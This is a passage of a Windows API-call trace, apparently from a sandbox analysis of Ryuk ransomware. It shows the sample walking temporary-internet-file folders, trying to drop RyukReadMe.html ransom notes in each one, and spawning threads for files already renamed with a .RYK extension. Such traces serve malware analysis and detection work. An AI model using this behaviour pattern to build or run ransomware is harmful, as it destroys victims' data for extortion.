	[0277.752] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.752] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0277.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0
	[0277.755] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.755] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="KETAJP6D", cAlternateFileName="")) returned 1
	[0277.755] SetLastError (dwErrCode=0x0) 
	[0277.755] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc
	[0277.756] GetLastError () returned 0xb7
	[0277.756] CloseHandle (hObject=0xabc) returned 1
	[0277.756] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0277.756] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.756] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.757] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0277.757] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0277.757] SetLastError (dwErrCode=0x0) 
	[0277.757] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ketajp6d\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.757] GetLastError () returned 0x3
	[0277.757] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0277.757] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.757] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1
	[0277.757] SetLastError (dwErrCode=0x0) 
	[0277.757] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc
	[0277.758] GetLastError () returned 0xb7
	[0277.758] CloseHandle (hObject=0xabc) returned 1
	[0277.758] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0277.758] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.758] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.758] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0277.759] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0277.759] SetLastError (dwErrCode=0x0) 
	[0277.759] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.759] GetLastError () returned 0x3
	[0277.759] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0277.759] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.759] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1
	[0277.759] SetLastError (dwErrCode=0x0) 
	[0277.759] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc
	[0277.759] GetLastError () returned 0xb7
	[0277.760] CloseHandle (hObject=0xabc) returned 1
	[0277.760] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0277.761] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.761] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.761] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0277.761] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0277.762] SetLastError (dwErrCode=0x0) 
	[0277.762] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.762] GetLastError () returned 0x3
	[0277.762] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0277.762] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.762] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0
	[0277.762] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0277.762] SetLastError (dwErrCode=0x0) 
	[0277.762] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab4
	[0277.762] GetLastError () returned 0xb7
	[0277.762] CloseHandle (hObject=0xab4) returned 1
	[0277.763] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68ed8cb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x68ed8cb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68ed8cb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0277.763] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68ed8cb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x68ed8cb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68ed8cb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0277.763] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0277.763] SetLastError (dwErrCode=0x0) 
	[0277.763] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab0
	[0277.763] GetLastError () returned 0xb7
	[0277.763] CloseHandle (hObject=0xab0) returned 1
	[0277.764] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a91d540, ftCreationTime.dwHighDateTime=0x1d5ba55, ftLastAccessTime.dwLowDateTime=0x64e8b180, ftLastAccessTime.dwHighDateTime=0x1d5b855, ftLastWriteTime.dwLowDateTime=0x5095bcf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17712, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="vH9Z9EVpRJYC.flv.RYK", cAlternateFileName="VH9Z9E~1.RYK")) returned 1
	[0277.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0
	[0277.765] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.766] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35812970, ftCreationTime.dwHighDateTime=0x1d5bb2c, ftLastAccessTime.dwLowDateTime=0x195810, ftLastAccessTime.dwHighDateTime=0x1d5bcae, ftLastWriteTime.dwLowDateTime=0x50981e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x2e32, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="w5FBdLdrSf.mkv.RYK", cAlternateFileName="W5FBDL~1.RYK")) returned 1
	[0277.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4
	[0277.768] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.769] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35825180, ftCreationTime.dwHighDateTime=0x1d5bec7, ftLastAccessTime.dwLowDateTime=0x7746e8a0, ftLastAccessTime.dwHighDateTime=0x1d5c4b8, ftLastWriteTime.dwLowDateTime=0x50fc1810, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x14f82, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="wLGrvY baLME.jpg.RYK", cAlternateFileName="WLGRVY~1.RYK")) returned 1
	[0277.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc
	[0277.770] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.771] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0277.771] SetLastError (dwErrCode=0x0) 
	[0277.771] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8
	[0277.771] GetLastError () returned 0xb7
	[0277.772] CloseHandle (hObject=0xab8) returned 1
	[0277.772] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0277.772] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.772] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f83fed0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0277.772] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f83fed0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0277.772] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
